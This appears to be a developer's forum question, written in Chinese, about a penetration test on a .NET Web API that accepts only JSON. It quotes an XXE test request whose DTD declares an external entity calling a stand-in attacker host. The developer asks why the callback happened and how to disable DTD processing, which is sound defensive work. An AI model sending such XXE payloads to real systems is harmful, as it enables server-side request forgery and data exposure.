我们在公司进行了一项测试,以找出潜在的安全漏洞。我们有一个 .NET Web API 解决方案,我们的请求只支持 json。进行的测试如下:在 api 端点上发出了一个 post 请求,body 中有一个 xml。xml 有一个指向黑客服务器的 url。像这样的东西
POST <url> HTTP/1.1
Content-Type: text/xml
Accept : */*
Cache-Control : no-cache
Host: <hostname>
Accept-encoding : gzip, deflate
Connection: close
Content-Length : 128
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY & one SYSTEM "https://imhacker.com/XXE" >
%one;
]>
api 确实给出了响应:{“消息”:“此资源不支持请求实体的媒体类型 'text/xml'。”}
然而,在服务器 imhacker 上监控流量的测试人员确实看到请求https://imhacker.com/XXE通过了所以我有 2 个问题:
- 尽管响应说不支持 xml,但该请求是如何执行的
- 解决办法是什么?我看到一些建议说:禁止或忽略 DTD 处理。如何将此应用于 web api 中的所有端点
我还看到一些人建议删除 XMLFormatter,但我的代码已经对所有格式化程序执行了清除操作,并且只读取了自定义的 json 格式化程序